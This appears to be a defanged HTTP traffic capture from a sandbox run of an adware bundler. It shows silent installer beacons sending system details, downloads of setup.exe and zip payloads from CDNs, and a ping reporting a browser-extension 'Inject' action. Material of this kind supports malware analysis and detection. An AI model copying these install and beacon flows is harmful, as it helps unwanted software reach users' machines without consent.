
Connection: Keep-Alive




HTTP/1.1 200 OK

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Content-Type: text/javascript; charset=UTF-8

ETag: 17385861545942481150

Date: Thu, 29 Jan 2015 18:48:02 GMT

Expires: Fri, 30 Jan 2015 18:48:02 GMT

X-Content-Type-Options: nosniff

Content-Disposition: attachment; filename="f.txt"

Content-Encoding: gzip

Server: cafe

Content-Length: 4016

X-XSS-Protection: 1; mode=block

Age: 24077

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=86400
...........Z.r.......PS.1b(..3..aU..8g.;'q&g..u.$D2.H.II.-..v....g.j.\
..h4.@_....W...q...5O:s..A.....U........n.s.....d.1.B.x....4...l.....D
d.$".......Br..m.<.STc..Y.s.Y.5K..3...0.T`.4.|."[email protected]...&..\.-.V
.[$.(.d.".2..#.... ...V..2...T/(..Iv.!=..".v......(a.>..R..../.m..7
..I%.U)T.<..0.......:.$.....h...*..Jq.;y.a...)....p..w.........H...
.8.....u8}dD>O/7..|..)....l.X.....|..tW.TM...40.X6.......{..Q.1H3..
d......5.....;.....Mp...Q........xX.i.'66u?p]....e".....G....f|..rc#..
 ..G.a..}.x&.[n,....z.D.l.....q(...LlF.Z.q|.y...P..UG..=uz=...1....l. 
.HG.....awM.k....l.xD7..j..............n.W...P....e..X.k.4.V.......pE.
...me..Jw;....`N....s......'..=.yV.. .....n....z.'.1W.6l...1|E..3.7...
z.|.V4..........gq.q....7...JE.......>..7...~..v.{F...-{iv....%~^B4
..............g.J....e.....`.........x.K..=.?.......h........qJ.....7.
..m/.r.....{.....P.H....c-......{.g:...s...i.........5.S..n-:....k[..Q
.m...qg...w.c....#......>.P.........).....Ss6&....C.on...y%.(.|..)v
[email protected].)S{..i.$...3K.q.....6.....''J.<n.'....T....S{6C#.?
<..(.a.x...1.^..0S..r...16.......<{yt..g..pH.....C...E...3Yr...E
$6.oA...$>.Lj.tc8..2..Od_..?y....QK0o:..^...^...9......v........J.Z
`.:...3..;. .2.yz..Z7.t....\.>..n....*..q..4...g.....`....\...I.8..
i.....$K.>Q.q....A.s.##^.{...I.....>&.9-x.......'.p.E...V.k...3l
.;..R.s........Mc..MV..IAw........O....]..xr 2...8..... 7.....L.db...U
....pm^#...)[email protected].,`{o<......A*.Z.-....D.yH...
......<.A.fR1..t.Q.\.,%3.0..E..:.O`...:|).h......{9..eP..HWv...
<<< skipped >>>

GET /pagead/conversion/971163981/?random=1422581381671&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 302 Found

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Date: Fri, 30 Jan 2015 01:29:20 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV P
SA PSD IVA IVD OTP OUR OTR IND OTC"..Date: Fri, 30 Jan 2015 01:29:20 G
MT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Co
ntrol: no-cache, must-revalidate..Location: hXXp://googleads.g.doublec
lick.net/pagead/viewthroughconversion/971163981/?random=958746331&cv=7
&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=
en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=12
0&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccele
rator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0%2
C55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NON
E&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected%
3D1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CA
IVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0..Content-Type: im
age/gif..X-Content-Type-Options: nosniff..Server: cafe..Content-Length
: 42..X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=0
.02..GIF89a.............!.......,...........D.;..
<<< skipped >>>


GET /installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_21&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ColoColoApps&procstarttime=1422581366&procruntime=3&rnd=1422581369 HTTP/1.1

Host: stats.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: eR0gcH6iSB9fuQq9Je3mRSskhZBq4XAqNSG1R0Fro7Z65jE3I/136gRQFM3etViIfa65VCnQYmk=

x-amz-request-id: B2573F905EEC1D15

Date: Fri, 30 Jan 2015 01:29:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Mon, 24 Feb 2014 23:55:31 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: eR0gcH
6iSB9fuQq9Je3mRSskhZBq4XAqNSG1R0Fro7Z65jE3I/136gRQFM3etViIfa65VCnQYmk=
..x-amz-request-id: B2573F905EEC1D15..Date: Fri, 30 Jan 2015 01:29:09 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Mon, 24 Feb 2014 23:55:31 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer.gif?action=finished&app=65743&appver=21&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_21&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ColoColoApps&ieprofiles=1&chprofiles=na&ffprofiles=1&procstarttime=1422581366&procruntime=19&rnd=1422581385 HTTP/1.1

Host: stats.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: 4U5kuKLWcZLdWkjUJ7UK9nHFS4NqYvk5UYcbfrx43W8u1Lui0ARUMA3N9AxeRXrBpRWFjhThJl8=

x-amz-request-id: 4B2BABE1A655BFC2

Date: Fri, 30 Jan 2015 01:29:25 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Mon, 24 Feb 2014 23:55:31 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=65743&appver=21&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1422581366&lifetime=0&silent=1&crtnm=ColoColoApps&procstarttime=1422581366&procruntime=20&rnd=1422581386 HTTP/1.1

Host: stats.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: Qlv2DpbltDrHe1I3HJY7KfmA4d0k/kLdUhrp2OTzFLZd9fsGR5rQIg7U1FtiG0uiE6tAAPlSbh0=

x-amz-request-id: BC7CD984D958CD56

Date: Fri, 30 Jan 2015 01:29:25 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Mon, 24 Feb 2014 23:55:23 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Qlv2Dp
bltDrHe1I3HJY7KfmA4d0k/kLdUhrp2OTzFLZd9fsGR5rQIg7U1FtiG0uiE6tAAPlSbh0=
..x-amz-request-id: BC7CD984D958CD56..Date: Fri, 30 Jan 2015 01:29:25 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Mon, 24 Feb 2014 23:55:23 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..


GET /software_files/freezip/freezip.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: download.filesfrog.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: image/png

Content-Length: 1686

Last-Modified: Tue, 30 Jul 2013 12:41:06 GMT

Connection: close

ETag: "51f7b462-696"

Accept-Ranges: bytes
.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:9B1509C7BAEEE2118D5ECA89B782A2D1" xmpMM:DocumentID="xmp.did:A19C
C89BF91411E2BE71C8454BD11760" xmpMM:InstanceID="xmp.iid:A19CC89AF91411
E2BE71C8454BD11760" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9E1509C7BAEEE2118D5E
CA89B782A2D1" stRef:documentID="xmp.did:9B1509C7BAEEE2118D5ECA89B782A2
D1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>4@,.....IDATx..W1o.P.>.%... !..)M .0. ..ej
.._........aD".....D...".. h..R.f.1.......=..P..z.I........w.3'.".)&0X
...$.I.. [email protected]..... ...s..z...b1.N..:@.<...
...p.GT.P.WIg...N..............,...{..b..........T.V!......3..e.xrB...
.....1_.. /..n...Vm.zwG......!.|>.(.....~.....2~.|[email protected]...
."v.".n....:...J.B...3fC.....$.N..GNB.....%..:....X.......h4".GGJ.)\K.
x.R...."..s .....|.._E.N..4.H.=/[email protected]?l6
..j.08D.L J.r..u.P.."...'..]C,.DlM. ...~gg.].;.d....49-][email protected]
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=145806-291612

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 145806-291612/583224

Content-Length: 145807

Connection: keep-alive
....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d.YE
.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*...8J
........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9........VB
......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...V..
t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\...
...0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:...Z.
a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W...j
2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7.. }.
...B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-..0.
a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C.....
.....@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.X'.
t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a.........."
.y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i ;.
........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`..R$
..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M.....W}
[email protected].... zi=-...
p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W....ZH
NC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.>
;...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0~.V.
t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L.xb.
......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c...*.I
K.b.jz.l.!)....U...&...........BxfJ$..U..SU...:.g>O./..J.....].
<<< skipped >>>


GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=755793&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:31 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=241224-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80408

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 241224-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zUAu9K7IK2xt9sSNyqt8rUkKvsYEJjCCIT7Feu0Jc-9s3imw06pHPg==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............AC..AC.hAC.XAC.<AC.(AC..AC..@C..@C..@C..@C..@[email protected]@C
[email protected]@[email protected]@C.(@C..@C..@C..?C..?C..?C..?C..?C.T@C.|?C.d?C.T?C.&
<<< skipped >>>


GET /infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive




HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Fri, 30 Jan 2015 01:27:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inisxriy.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip
0......


GET /files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:58 GMT

Content-Type: application/zip

Content-Length: 2157335

Last-Modified: Wed, 28 Jan 2015 08:01:45 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK........q.7F^[email protected]@.\...q.
..%.v..Q..~DO.M.|.Wj.d...k......w...a213;B3..M..)....}...]...e...8.i..
...B....H....(p..8..J.._y.....W".oC...r...,..X..EZ.,.].})..]ET.../#Q..
^......@x~.......NZ........:i].\..m.....z......CK/.b.3y......6.MyVq..i
5._.^1.......o#p..=.^1.........7y.D..}....s..I.w`k..MU<.<..~....
.....#.Q-..v^7 ..J...*.>#..g.o...BY..F..[U.....6.MyRx.G=\....<wj
.y,*.L_z.q.!D..*.).N..=.>.....g3.ol...x..}.X'..._......oy..j"..O...
/n.uK........]..d...~.T.=.BS..y.V........=..0...5.Ej...C.S......._....
.)........905Mu81xPK........q.7F..".f....K......uninstallDlg2.xml.\m..
...^.......z.f.N...mo..As..$([email protected].../...w(Q.d.k9.6^T..."....gH....
o......R.f.3.-DX.#..3 ...L,.J.".sFf..I-...?...g."..R....Sw.N]..x-sQ.@}
=..Fd..X.8.!...Y..........|.o..1...Ox..li.....8.YRd.BT...3k..../....9^
..T..sb#....nir.....mT.....(.2.eRr.y.....1.r...d\~.. ~!I......v....x.t
]H.$BW0...L.......'^....8..<.0\.eQ.R....Iq..9..[\k. .O.:rs...7...tE
..D..B.(h..h.....GA...'..{M..m(x....2s...b.4.x..p....M..`.ukQ..;].....
(u.Z.A....L.r........~/P...........|.`l...5d}....w.#..1......vS.W.....
`[email protected].%sS.w......Q..#B.."B}..f...K...,c..d.1.....`ST2.M`.."...$.l
C..p.P)..Ce.b.LQ..0...h.aF...L. ps~.'FP.a.`R.2........!X............"B
.....'.I.@#..Y#....]. .....]...eM....#..Zp..`.....l"....<..Q....V.2
.~..........S..9...nf..(K!..Q......,.....P....BO{0Q.....N....".M.....(
m]....._.WW.."...B.h...Bn.Pa."V...%....wwQ...g,j0'...w..].....\..Z....
....n.1..k...Q...qI.jD1..q..r.h5._..\_)..RQ....RC.7.'..:../.~R....
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=4&index_in_screen=1&index_in_session=4&0.4668678949141275 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmc=1; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:54 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:54 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=GeneralInjector HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:21 GMT..Content-Length: 0..


GET /searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0 HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:31:23 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1
1..0..0..


GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1

Host: download.mozilla.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1

Connection: keep-alive




HTTP/1.1 302 Found

Server: Apache

X-Backend-Server: bouncer4.webapp.phx1.mozilla.com

Cache-Control: max-age=60

Content-Type: text/html; charset=UTF-8

Date: Fri, 30 Jan 2015 01:28:07 GMT

Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar

Keep-Alive: timeout=3, max=498

Content-Length: 0

Connection: Keep-Alive

X-Cache-Info: cached
HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer4.webapp.
phx1.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Fri, 30 Jan 2015 01:28:07 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=498..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..


GET /googleanalytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3gioya300tgnfdg22kehbawi




HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT

